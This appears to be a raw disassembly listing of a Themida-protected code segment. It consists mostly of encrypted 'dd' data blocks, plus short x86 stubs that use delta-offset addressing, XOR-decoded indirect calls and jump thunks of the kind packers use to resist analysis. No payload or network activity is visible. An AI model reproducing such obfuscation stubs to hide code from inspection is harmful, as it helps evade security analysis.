		dd 7248BD9Fh, 0DCEB3DE8h, 3E199E23h, 0E6005A09h, 0B282C262h
		dd 85573A61h, 84EB0918h, 7DE6302Bh, 0AD072105h,	9441E820h
		dd 20682C35h, 0F4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
		dd 60CB3050h, 2EBFE53Ah, 35C733DAh, 991E2Ch, 0DEE60000h
		dd 8372F8D5h, 0A6AA447Bh, 2E92ADF7h, 0AB1F2A7Fh, 5F84B1C2h
		dd 941866D7h, 81BCC9C3h, 0E3780452h, 7012F579h,	0AF934266h
		dd 754850BDh, 64B362EEh, 4E52BB55h, 709CF877h, 0C743865Fh
		dd 36C00h, 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh
		dd 1C237996h, 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h
		dd 54A5BE8Bh, 0AF741094h, 0CFBC584h, 0DDADE94h,	941DED99h
		dd 46EE62C3h, 0C3941D02h, 6559BD85h, 0C90411FEh, 691D9123h
		dd 0FEC3941Dh, 0D7E23584h, 0DE46BE39h, 0A514F8D5h, 72FE6550h
		dd 0A10B0BCDh, 37D1D692h, 948BDEAFh, 0F78C10C3h, 0B864DB65h
		dd 0C7251CD1h, 2B32C26Ch, 4BD9F67h, 5D8F2C3Eh, 0FBD55786h
		dd 8B09EA04h, 14F8D5DEh, 0F7C2D7C6h, 2C21CF03h,	2975EEDBh
		dd 7F4A5D53h, 0D05DD11Bh, 8BD9F19h, 92BC8B9Dh, 6E9F4DB5h
		dd 0BFF2928h, 60E7ABDBh, 0AB3A7E3Ah, 3506B851h,	41912Ch
		dd 6F7F0000h, 5AE4760Dh, 71E34BE5h, 83ADCD3Eh, 9F9942F3h
		dd 63D72BBDh, 616F83C3h, 0DBF2023Ah, 477E8677h,	0E9F91F3h
		dd 48AC93E9h, 8F98C795h, 0B94855BCh, 8E1F99B7h,	367CD37Ah
		dd 0EFFE2Ch, 0BD060000h, 0A4C8F01Eh, 34D2588Bh,	0DF1CCD9h
		dd 0F379445Ch, 0EECD9E4Ch, 98B6C857h, 81BCC9B0h, 6C59AA5Bh
		dd 8A9F4EC2h, 41A12549h, 0DC26C394h, 3CE97BF8h,	0A62ED8E9h
		dd 0C39444F7h, 0CA102D76h, 0CF42ED95h, 0DF0D8EDEh, 94663357h
		dd 0A04EB4C3h, 4C5845C7h, 37BF8D71h, 0C3946653h, 5C8AEED4h
		dd 43A9A4F1h, 81754C52h, 4FAFA34Dh, 0A0C4162Dh,	0BD9F51B9h
		dd 14A5E45Bh, 5AA73BE7h, 886BAFACh, 0A7B5CEAEh,	6C0DFE0Fh
		dd 0E10B4F44h, 34D2EF34h, 0E314BBAh, 0A5C95BD5h, 3073CF21h
		dd 5BB25CA6h, 0ADF17E41h, 5E8C69EAh, 1BB13F4h, 0CED80000h
		dd 74836CF7h, 22719E45h, 0C3DB342Fh, 728667FCh,	3A219043h
		dd 7DE6D923h, 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h
		dd 0CC584A9h, 0DADEC7BDh, 7A8F78FBh, 8E18944Fh,	941D6266h
		dd 739DE5C3h, 0E30D6F8Dh, 9943A79Ah, 0A428196Ch, 2C90AFF5h
		dd 905AF4E8h, 9F05BD1Ch, 0E62EDFBDh, 0F8C241EFh, 0C1D7C614h
		dd 20CE02F6h, 60CB3454h, 32B3E13Ah, 35C72FDEh, 0A71A2Ch
		dd 0DEE20000h, 0A514F8D5h, 549C605Fh, 0C39418E5h, 0DD063344h
		dd 66EAE730h, 7FED7606h, 60D10EF7h, 589BFF42h, 77E57E1Eh
		dd 0D3E238E5h, 4B91F06Fh, 0D7AD802Bh, 0CFF60AF3h, 0D1575521h
		dd 0A298446Dh, 0D64803B8h, 2B736944h, 0AA444178h, 33DD3158h
		dd 0B7FE2FB9h, 9BE16C9Ah, 4A4EBFA4h, 291293D0h,	280CEFEDh
		dd 6B60A1DFh, 1BFC568Ch, 0D1h, 76EDE42Eh, 0A0B38E99h, 0DE053447h
		dd 9EAE931h, 0BAB9849Ch, 0E339D41Bh, 91E607DCh,	4E56B7ACh
		dd 0F603EC77h, 79F318DBh, 84A991F5h, 31A716C5h,	78FBDADEh
		dd 944F7A8Fh, 0F8D5DE6Ch, 0CC708372h, 26AA8EBBh, 1DCC44E2h
		dd 78263D08h, 3972E924h, 70C37353h, 0A55E2A3Ah,	0E9D1C394h
		dd 62B667F5h, 0A387BEC6h, 0A55135B9h, 0ECD6C394h, 8B04A842h
		dd 9CBD843Ch, 67EBE633h, 7F465A23h, 0EF53B78Bh,	1BD8F53Eh
		dd 0D8AC99EAh, 0A690408h, 7776ACBDh, 0AB48858Eh, 0A81C297Ah
		dd 369AB9C1h, 591A410Bh, 0A5244335h, 0DAEBCD7Bh, 3440E035h
		dd 0B23E2519h, 0EB053443h, 50241162h, 14FFh, 7A806D00h
		dd 7593F75Bh, 4150BD8Fh, 0CABE859Dh, 0C37492F6h, 0FDD4DE55h
		dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h
		dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4568CF7Bh, 89000041h
		dd 8952242Ch, 4C281E2h,	83000000h, 148704EAh, 0C895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242C89h
		dd 4ECh, 243C8900h, 66700CBFh, 0EF814704h, 300D31CBh, 7862EF81h
		dd 814F1D4Dh, 0D27FCCE7h, 0A0EF811Eh, 890FF19Ch, 8B545FF9h
		dd 0C483242Ch, 8BB5304h, 81000000h, 67025EBh, 81EB0107h
		dd 67025C3h, 5B0B8907h,	5D2434FFh, 8B04C483h, 8957240Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 0B8E95C24h, 0C8FFFAC8h
		dd 6DE6E444h, 10B5E6B8h, 0FFC50306h, 59C3B2E0h,	31A157Eh
		dd 63ACF444h, 0F66AFF40h, 1F42947Dh, 0D807724Bh, 0FBCD8225h
		dd 8A453A28h, 6CA10606h, 0B649C26Dh, 3D2ED7Ah, 0CF7174Dh
		dd 16C0DE43h, 446A7954h, 7C3B3F7Dh, 0D24BDD5Ch
		dd 5EDC6C6Fh, 6055A81Bh, 4A80B164h, 0EBE24E13h,	80781B22h
		dd 28DC7636h, 3D65BE78h, 0B26CDF64h, 0A63C4A67h, 0E40CDB4Ah
		dd 7DE2086Fh, 0E9C08B4Dh, 10h, 0BE7DF403h, 1DB6E394h, 5C7EE93h
		dd 0E7AED871h, 5BDBD83h, 7500060Bh, 0D1BD8309h,	60B29h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 0B2A3585h,	1A9D8D06h
		dd 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h,	0FCB85350h
		dd 89000003h, 0B2A3585h, 99D8D06h, 0FF060DB0h, 6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E9C6C356h, 0Dh, 4FAF4E5Dh, 0FF16577Dh, 1D330446h
		dd 56006A0Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 103C8F79h, 8B97B604h, 56006AC0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0AA2E12E5h
		dd 0C158D36Fh, 0CB816614h, 0BD837C1Eh, 60B0B19h, 63840F01h
		dd 0F000000h, 1181h, 0B8C0F00h,	0E9000000h, 6, 6262B61Eh
		dd 0BD832296h, 60B0E31h, 3F850F00h, 80000000h, 0BD8335EFh
		dd 60B2715h, 7D840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9EBEC357h
		dd 8C212EABh, 7E91703h,	88000000h, 0C014DF08h, 1FE9C200h
		dd 0E9000004h, 0Eh, 64315148h, 5B23C443h, 0BAB11C52h, 0FE81h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0DA9009C3h, 0FD2A22Eh, 286h, 66D88B00h, 0F381D68Bh
		dd 57FF71EFh, 9CF7E0Ah,	4D4BCDD3h, 0B12BC108h, 1DDA04F0h
		dd 0F03F65DFh, 0D091FAD3h, 0FC554E93h, 66A0CD01h, 0BDC21B78h
		dd 242BCBC3h, 4B7F0B49h, 6400FA5Eh, 583643D5h, 0B12BCB2Fh
		dd 3E4087C4h, 0E7E04191h, 66EDA835h, 397CD444h,	58914426h
		dd 0B12BCEB2h, 0B12B232Dh, 3076CB3Ch, 0A19321F3h, 0E22BA109h
		dd 0B12BC86Fh, 7270EBC3h, 957742BAh, 956F4AF4h,	0B12BDE7Ch
		dd 7278883Ch, 0B6C3C483h, 0E12BCB0Fh, 16B88F52h, 34244F5Ch
		dd 0B12BCBE7h, 14081871h, 0DB71F674h, 0B2C39B3Ch, 912BCB1Eh
		dd 38730857h, 302FEFC3h, 0AD2FEF87h, 0F12BCBE1h, 9DEA08A0h
		dd 93B9833Ch, 3A5EEE43h, 7CCD4BDEh, 0B127239Fh,	4BC3CB87h
		dd 62F771D9h, 3DE123D6h, 5C901412h, 0EB79F379h,	7091AD6Ch
		dd 0B1415BBBh, 0B128235Eh, 0E80BCB87h, 0FDA29200h, 0F5AACFC5h
		dd 0B136CFD4h, 0E06ACB78h, 0C83158FFh, 284E2B2Dh, 3A6131B7h
		dd 5AAAAD54h, 0B02484B3h, 0DBD5EFADh, 0B2C399F0h, 912BCB78h
		dd 38710866h, 302FEF4Ah, 0A42FEF4Bh, 0F32BCB87h, 59C30891h
		dd 0B42B7CB9h, 0B12BC9FCh, 597ACB12h, 0B12BCB3Fh, 0E8E8923Eh
		dd 0B50F8786h, 0B50F8F06h, 0B12BCBD5h, 15E89AA0h, 0B9A04B71h
		dd 5979CB12h, 0B12BCB3Fh, 0EBE8913Eh, 0B50F9F86h, 0B50F8F06h
		dd 0B12BCBDEh, 0ACE899A3h, 3A824BF4h, 0FE08D33Eh, 6894C41Dh
		dd 0D7F34078h, 0DBD78384h, 0B2C39E87h, 912BCBC3h, 387608BCh
		dd 302FEF9Ch, 0A62FEF3Ch, 0F42BCB3Ch, 0B97D084Bh, 7AAB5342h
		dd 1551718Ch, 0B093B120h, 0DB2BCBE1h, 0B2C39CF0h, 912BCB78h
		dd 38740863h, 302FEF62h, 0AA2FEF4Bh, 0F62BCB87h, 3A120894h
		dd 0B9CF4DD7h, 0BAC3256Bh, 332BCB78h, 36EA765Ah, 6C8088C7h
		dd 4D7C8CAFh, 519D91DCh, 384C7893h, 0BDC3EFEDh,	532BCBF0h
		dd 555CBB30h, 0D7BC9517h, 583ED3E6h, 0B12BCB09h, 5C5E756Bh
		dd 0D771F343h, 3124126Dh, 0B12BCBFCh, 0B12D4E77h, 3A24CB3Ch
		dd 0B12BCB1Eh, 0BE2F0AF9h, 0B12B3D02h, 0E72BA1C3h, 0B12BC809h
		dd 7275EBF0h, 955F4226h, 956F4A38h, 0B12BD61Ah,	727D8D0Fh
		dd 0E282F377h, 619531Eh, 6891E7FFh, 0BE4AD311h,	0B12BC9F1h
		dd 0E8DF413Ch, 597ACB74h, 0B12BCB0Ch, 0E8E892A7h, 0B50F874Ah
		dd 0B50F8F60h, 0B12BCBECh, 8FE89A39h, 3C2122CAh, 343D3634h
		dd 31F37400h, 3424A3BEh, 0B12BCAE7h, 0B5A9C4B6h, 0D72BCBF0h
		dd 0EA0450C3h, 0D72AB2B7h, 30C2B6A4h, 0B12BCBF0h, 0B4A9C407h
		dd 0B2BCBC2h, 0F3F00C64h, 9754E37h, 0B12ACD68h,	0B141CB3Ch
		dd 0B128234Bh, 0EC0BCB0Fh, 0DDA29644h, 0F5AACFE7h, 0B136CFC5h
		dd 0E46ECBF0h, 29FFCFBBh, 57BE369Fh, 580603A2h,	0B12BCB0Ah
		dd 0A96D402Eh, 0B1C722E0h, 3324CBE1h, 0B12BCBF5h, 0BC2EAAC3h
		dd 0B199227Dh, 0B141CB1Eh, 0B1282359h, 0EF0BCB87h, 0C5A29500h
		dd 0F5AACFC5h, 0B13ECFD4h, 0E76DCB78h, 0D77968FFh, 0E8D31195h
		dd 597CCB65h, 0B12BCB84h, 0EEE894E3h, 0B50FB768h, 0B50F8F71h
		dd 0B12BCB65h, 0D7E89C7Bh, 0F08CBE86h, 30DB2B37h, 0B12623D3h
		dd 4D0DCBC3h, 2C5CF472h, 0E648324Bh, 0E3F67F94h, 92EB19BDh
		dd 0EA708A62h, 0BA524869h, 0F4AFC478h, 0DB2BCBC3h, 0B2C39AE1h
		dd 912BCBF0h, 38720821h, 302FEF70h, 0AD2FEF5Ah,	0F02BCB0Fh
		dd 747108D6h, 0D9A54C23h, 58B20399h, 0B12BCBE0h, 21FABC2Bh
		dd 367A8D4Eh, 6905BBB7h, 6155ADCAh, 9754E40h, 0B12ACDD3h
		dd 6BA0CBE1h, 0E32BA1B8h, 0B12BC890h, 7271EB3Ch, 957F4244h
		dd 956F4A0Bh, 0B12BD283h, 727989C3h, 3D506231h,	304D8D8Dh
		dd 312BF48Bh, 0E992C8F6h, 3C077617h, 0A195BE8Ah, 37964681h
		dd 8A2DDB7Fh, 812CBF19h, 0F6E21AFFh, 0B1413E93h, 0B128236Fh
		dd 0EA0BCB1Eh, 0EDA290CCh, 0F5AACFA3h, 0B130CFE7h, 0E268CBE1h
		dd 0AA4C6C33h, 1A94F241h, 6AAAADC5h, 0B141AA5Ch, 0B128235Dh
		dd 0EB0BCB87h, 0E5A29100h, 0F5AACFC5h, 0B13CCFD4h, 0E369CB78h
		dd 0F5D5DFFFh, 0B2A0C4DCh, 312BCB0Fh, 0CA80C48h, 0B720C0DAh
		dd 39AFC4E0h, 0DB2BCBF0h, 0B2C39E78h, 912BCB3Ch, 38760843h
		dd 302FEF63h, 0AA2FEFC3h, 0F42BCBC3h, 163408B4h, 20CE0A5Bh
		dd 0CA8EC35h, 0B720C50Dh, 0E9AEC41Eh, 0DB2BCB0Fh, 0B2C39D87h
		dd 912BCBC3h, 387508BFh, 302FEF84h, 0A82FEF3Ch,	0F72BCB3Ch
		dd 69320848h, 90465449h, 2DF94AE1h, 0A49648ECh,	0B12DC0C6h
		dd 0B17B4FFFh, 0B141CB78h, 0B1282369h, 0EC0BCB1Eh, 0DDA296CCh
		dd 0F5AACFA3h, 0B137CFE7h, 0E46ECBE1h, 0C39DE533h, 0B99C0704h
		dd 58D20EA8h, 0B12BCBA8h, 597BCB65h, 0B12BCB84h, 0E9E893E3h
		dd 0B50F8F68h, 0B50F8F71h, 0B12BCB60h, 0CCE89B7Ch, 1BB340Eh
		dd 805F098Eh, 0CA8C04Ah, 0B720C0DAh, 0E8AEC4E0h, 302BCBF0h
		dd 0D06A7FABh, 0B1419604h, 0B128234Bh, 0EC0BCB0Fh, 0DDA29644h
		dd 0F5AACFE7h, 0B13CCFC5h, 0E46ECBF0h, 0A5F860BBh, 72FC4028h
		dd 5979CB74h, 0B12BCB0Ch, 0EBE891A7h, 0B50F9F4Ah, 0B50F8F60h
		dd 0B12BCBEDh, 35E8993Ah, 1F09974h, 712D63B5h, 0B11B228Dh
		dd 5AAACB87h, 9E97CABBh, 0F55970BCh, 0DBE4E10Eh, 0B2C39D78h
		dd 912BCB3Ch, 38750840h, 302FEF7Bh, 0A92FEFC3h,	0F72BCBC3h
		dd 0D00708B7h, 0D7472C3Bh, 0CA618F3h, 0B73B73A8h, 0F694693h
		dd 0AC93CD1Fh, 8250F1DBh, 0BA398E46h, 70E4E0E7h, 7617E992h
		dd 0BE8A3C07h, 4681A195h, 0DB7F3796h, 0BF198A2Dh, 1AFF812Ch
		dd 0E983F6E2h, 83A4F305h, 10B85EBDh, 0D740006h,	4DD78D8Dh
		dd 1B8060Bh, 0FF000000h, 6A40E1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0A3FCD6C3h, 68C0Fh, 0EA810000h
		dd 44856454h, 8354D380h, 6A2DE8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5BCD92C3h, 18820FD4h
		dd 0F000000h
		dd 1284h, 0DE900h, 0B5180000h, 33143080h, 4309C6ADh, 8B1DD51Bh
		dd 39EF80C0h, 5BDBD83h,	7500060Bh, 0D1BD8309h, 60B29h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 0B129985h,	819D8D06h
		dd 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h,	0FCB85350h
		dd 89000003h, 0B129985h, 229D8D06h, 0FF060DB0h,	6A585BD3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 6B03C350h, 0F56E5F4h, 0E381D8B7h,	70959029h
		dd 8D8DC08Bh, 610C050h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FC35040h, 0C0976803h, 3396D32Dh, 0B2489B5h
		dd 4D8D8906h, 89060B17h, 0B0FE19Dh, 1985C706h, 60060B01h
		dd 6A000060h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4A8FC350h, 8F0F3D6Bh, 8, 2830Fh
		dd 61600000h, 100985C7h, 60Bh, 13E80000h, 6A000000h, 5E8C46B7h
		dd 447F7BB2h, 887ECE7Dh, 0F38389B4h, 0B58B9C19h, 60B21C1h
		dd 49B5FF5Fh, 0E9060B1Ah, 7, 419C6932h,	0FF52ADA7h, 0B0AC595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FDF8ED4h, 886h,	28D0F00h, 60000000h, 6880F61h
		dd 89000000h, 0B04ED85h, 0FF006A06h, 0B32DD95h,	0EBC08B06h
		dd 0E49B8E0Dh, 0C06716CFh, 13F8F7DDh, 24EB4FC5h, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5981EE
; ---------------------------------------------------------------------------
		mov	[ebp+610C064h],	esi
		mov	eax, [ebp+60B0B19h]
		mov	eax, [ebp+60B0939h]
		lea	esi, [ebp+610C0AEh]
		lea	eax, [ebp+60E4D7Eh]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 610C0B4h
		cmp	dword ptr [ebp+60B0B19h], 1
		jnz	loc_598198
		push	dword ptr [ebp+610C064h]
		mov	eax, [ebp+60B0939h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_598191
		mov	eax, 1
		jmp	loc_5981D8
; ---------------------------------------------------------------------------


loc_598191:				; CODE XREF: Themida_:00598181j
		xor	eax, eax
		jmp	loc_5981D8
; ---------------------------------------------------------------------------


loc_598198:				; CODE XREF: Themida_:00598166j
		push	1Ch
		lea	esi, [ebp+610C068h]
		push	esi
		push	dword ptr [ebp+610C064h]
		mov	eax, [ebp+60B0939h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+610C068h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5981D3
		xor	eax, eax
		jmp	loc_5981D8
; ---------------------------------------------------------------------------


loc_5981D3:				; CODE XREF: Themida_:005981C6j
		mov	eax, 1


loc_5981D8:				; CODE XREF: Themida_:0059818Cj
					; Themida_:00598193j ...
		cmp	dword ptr [ebp+60B0B19h], 1
		jnz	loc_5981EC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5981EE
; ---------------------------------------------------------------------------


loc_5981EC:				; CODE XREF: Themida_:005981DFj
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5981EE:				; CODE XREF: Themida_:0059812Cj
					; Themida_:005981E7j
		lea	eax, [ebp+610C08Dh]
		mov	[ebp+60B0DD9h],	eax
		jmp	loc_598297
; ---------------------------------------------------------------------------
		db 94h
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h	dup(0)
		dd 2B000000h
		db 0BBh, 57h, 4Eh
; ---------------------------------------------------------------------------


loc_598297:				; CODE XREF: Themida_:005981FAj
		jmp	loc_598E4C
; ---------------------------------------------------------------------------
		push	610C36Eh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610C47Bh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610C56Bh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610C5DCh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610C755h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610C7CEh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610CB09h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610CC06h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dd 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h, 0D2013C44h
		dd 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh,	0A14BB0A3h
		dd 84DF790Dh, 997FCEC5h, 72F8D5DEh, 7FF14DCDh, 90BE692Fh
		dd 89C4D1B8h, 30700C6Ah, 0C622E28Ah, 33391D0Fh,	9F4036BBh
		dd 4F3307BDh, 614EE7E7h, 6766323Ah, 0EAE730DDh,	1A042266h
		dd 2C355FF3h, 2FDEh, 0D6F2600h,	0D140E476h, 5EBD9F05h
		dd 39355DBFh, 6E25D2E1h, 0F004F5C1h, 391D71C5h,	0B1ED9D55h
		dd 78383A60h, 9D76976Dh, 0EC532C35h, 0BD000000h, 14F8D5DEh
		dd 9C605FA5h, 19EDD82Dh, 896A67B0h, 9418DE65h, 8A9302C3h
		dd 618FC3B7h, 0BCAE9BECh, 0E6CEBA32h, 0B82C3C6Bh, 3C6BE6CCh
		dd 0BA807F43h, 0E93AEB8Ch, 6C3068DCh, 94E105D7h, 344260F8h
		dd 0CC4602AAh, 0F1C93A60h, 0E52BDF46h, 30DE18BFh, 2A74EFD3h
		dd 8B23C952h, 446DD5E1h, 68FA605Ah, 72BB80C4h, 15330730h
		dd 6F56AA5Bh, 0B075EFDh, 38004DDh, 9FE502E5h, 61D5E035h
		dd 403EC92Dh, 738C6B80h, 9803097h, 66B00000h, 0C1BF46Fh
		dd 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh,	855E61BBh
		dd 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh, 94C584DEh
		dd 1EBDBF25h, 0B21EDFC6h, 3C4831BCh, 1266E701h,	370BADF8h
		dd 3D11FFE2h, 81BCC926h, 9AA8E45Bh, 8CDC38ECh, 0CB74FEDDh
		dd 0FE0D9471h, 271B7FC3h, 6F966E09h, 40E4760Dh,	0BD9F05D1h
		dd 5090645Eh, 3A60CB30h, 0AA2EBFE5h, 0A81C237Bh, 0A940BA54h
		dd 802C35C6h, 0D5h, 0ED5DE6Ch, 941DE2E6h, 391D65C3h, 2174A133h
		dd 1DB4D010h, 897BC394h, 184D5BBFh, 29C73B84h, 99EA1B21h
		dd 718B82ACh, 0A16AFA4Eh, 77C39435h, 0C3D27E86h, 997492F6h
		dd 26A2B18Ch, 7997A2F7h, 0C2B68394h, 0A349D2AAh, 3195E411h
		dd 0CF0D4EBh, 70290FC8h, 683C1183h, 312336BEh, 3E04BD9Fh
		dd 18237925h, 405540D2h, 0A34D8175h, 6C8ABAD3h,	1DCF3344h
		dd 4E95A8F0h, 0EB645BA1h, 8C6AFAB5h, 7377C83Ah,	0A5000008h
		dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h
		dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h
		dd 0C584D90Eh, 0BD4A3281h, 5401801Eh, 1B6CA682h, 311CCA2Eh
		dd 0D906D4EBh, 49804D14h, 0F56E985Bh, 21320F18h, 0F8D5DED3h
		dd 0F050A514h, 3A25A9A4h, 3EC0D9D4h, 75694DE8h,	57ECB0EEh
		dd 7B3A6185h, 0CF33BD84h, 0AAA7F01Dh, 0F603F27Ch, 629618DBh
		dd 0A83A7B7Fh, 7EF2961Eh, 0D753A7Bh, 0BBC0DBE3h, 52BCD7B8h
		dd 7ED8ACC0h, 6BAF3A7Bh, 809BE1BDh, 0CADDC85Ah,	19370BFFh
		dd 7066784Dh, 92F5CD44h, 0B87CF554h, 618517C2h,	0A38F5E65h
		dd 0DA2990EAh, 277549E7h, 73A6CE1Ch, 0F4DD846Fh, 0C5303A8Eh
		dd 0CB0A0EB6h, 12F0347h, 9644DFBDh, 89E2761Eh, 6BF1C9E7h
		dd 875C69BAh, 27201D66h, 2C509E83h, 833D9270h, 0B5000007h
		dd 1C896A61h, 0CA3B3809h, 0B45182BFh, 638C576Eh, 863D2619h
		dd 5964BC5Fh, 29146D9Ah, 0FCCBDDCAh, 407D8667h,	6A826E93h
		dd 0C584D81Eh, 6FBA2291h, 77E4760Dh, 5052F48Ah,	0BD346C7Eh
		dd 3C31A453h, 58CC9E48h, 0BD84B373h, 0DA64F6CCh, 0D56E3965h
		dd 0CF03F7C2h, 97167030h, 0B0819479h, 63342A3h,	83BECBB2h
		dd 62371844h, 8C43C786h, 712h, 1AD9F002h, 0B4AF9AEDh, 0E271485Bh
		dd 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h, 5AAA5B98h
		dd 217F063h, 0DDF2C37h,	84D8ED99h, 2D9362C5h, 0E4760D6Fh
		dd 845E5B40h, 344CB9BDh, 1A60DF09h, 28586BD0h, 702CE964h
		dd 9CE914D6h, 97E4B2A1h, 9C980A57h, 0AB9EB984h,	14C63A65h
		dd 0CE388A7h, 0A7FF5303h, 0E08AA498h, 7BC72C4Ch, 0E73FEE3Ah
		dd 152871D8h, 44C36DA1h, 0F401EC7Eh, 0F71175D9h, 0C7B2D313h
		dd 33613A7Bh, 0E6AF5EB2h, 429A2C2Fh, 62000000h,	0E5770C6Fh
		dd 635AAA5Bh, 1D5931C5h, 29BBC394h, 941DC185h, 91E946C3h
		dd 0A3A04EA2h, 0D761EB5Fh, 941D2B5Fh, 0A846BCC3h, 941DACDCh
		dd 0AA3B79C3h, 400CB756h, 79232h, 0C87A0000h, 209h, 0C233BD50h
		dd 0D83C80BDh, 941D7C08h, 0F1AF3C3h, 160A4E32h,	0C4F88DF8h
		dd 0D1E036B8h, 77BE6FFDh, 5B998181h, 9EF2967Bh,	3CEAD52Fh
		dd 0CA0F3AB2h, 3A00BD9Fh, 261B01C5h, 0D1ABECCBh, 8416A04Ah
		dd 0DEEB6460h, 7997EB89h, 0D5DAC8EDh, 0F145BDF7h, 9258E3B9h
		dd 2F30DB00h, 2C6EE57Ch, 0ABE3A024h, 0E2082787h, 1DCAAA8Ah
		dd 971FCD21h, 87AB35F3h, 0EE00E74h, 0A6FAFEE6h,	0EFF71F9h
		dd 4206CE03h, 0C5FDA4B6h, 0CF231268h, 0B6FD891Dh, 872FDA4h
		dd 0C2D7C614h, 76836CF7h, 0A7FA8C5Bh, 0C9394221h, 59976h
		dd 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh,	1C237996h
		dd 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h, 54A5BE8Bh
		dd 0DA741094h, 0CFBC584h, 0F8D5DE94h, 66881414h, 5461B21Eh
		dd 54488C70h, 72C77486h, 0B0525AF4h, 4AE76F99h,	0F6BD9FAEh
		dd 73C7F207h, 6F66AE1Fh, 8A89A79Bh, 9D11D225h, 3A619FE9h
		dd 5C20047Eh, 2EDF0478h, 691FE8E5h, 9E865CD1h, 520D3B4h
		dd 6100000h, 0ACFB14CFh, 5AA9469Dh, 0B13FC67h, 0BAFE2F34h
		dd 0F2F9589Bh, 253E011Bh, 558EB3C8h, 82516CB8h,	3E251065h
		dd 0F3971FCDh, 74C584DAh, 1EBD1F85h, 8AE879B4h,	0F3971F81h
		dd 74C394EDh, 11FC2A0Eh, 0F223C904h, 2F4795ACh,	0C394ED5Bh
		dd 0D038D62Ch, 60B41C69h, 0A79BBAC0h, 1D6C9943h, 0CA64582Ch
		dd 0F9E9846h, 0ED359DE6h, 0CA2E62D6h, 266E9F29h, 96675B2Fh
		dd 0A799B78Eh, 3240FB86h, 2AA3h, 0D6F4D00h, 7940E476h
		dd 0F6BD9F2Dh, 5828388Ch, 8D3A60EDh, 0CB629617h, 0E62C35E0h
		dd 49h,	44E87Ah, 873A60E1h, 6FAF95B3h, 40E4760Dh, 0BD9EE1D7h
		dd 73C08635h, 44273D04h, 8755ADAAh, 21320F16h, 60C3CCBDh
		dd 0F93A4F3Ah, 60C31175h, 0DDAC963Ah, 370BFFCAh, 90E700D3h
		dd 3B4ABBA1h, 9768E00Eh, 436h, 760D6F31h, 46D40E4h, 98E2BD9Fh
		dd 7B56A352h, 839445CDh, 11BC2B6h, 81AD4A3Eh, 2EB63388h
		dd 7C4D5C2Dh, 0E5D82188h, 0DDD73D11h, 5C56BED0h, 0B094CB51h
		dd 1FD53421h, 0C2DAE20Ch, 263BB3B9h, 37446BF5h,	0A2F710C3h
		dd 0EC192397h, 0E125A994h, 17310C18h, 0FC6EF587h, 76EE5D68h
		dd 64E8D24Eh, 0A62ABBF9h, 76852F77h, 0BF93F75Bh, 99ED01CBh
		dd 6E2E4AAEh, 37163014h, 520CD7E2h, 832B314Ah, 5041B6E2h
		dd 0FAA3176Bh, 0C2F109A9h, 52261A7Eh, 0E33B91EBh, 0A514F8DCh
		dd 0B1916550h, 0E5106A7Bh, 259A1EAFh, 0ED8EEE0Eh, 53F3DFA7h
		dd 81B372A9h, 613B83ADh, 0CD9C10DAh, 25A4C98h, 0B9CA3B38h
		dd 4B51388Ch, 0A2408074h, 4D6D573Dh, 7CAA8E3Bh,	9721AB3Ah
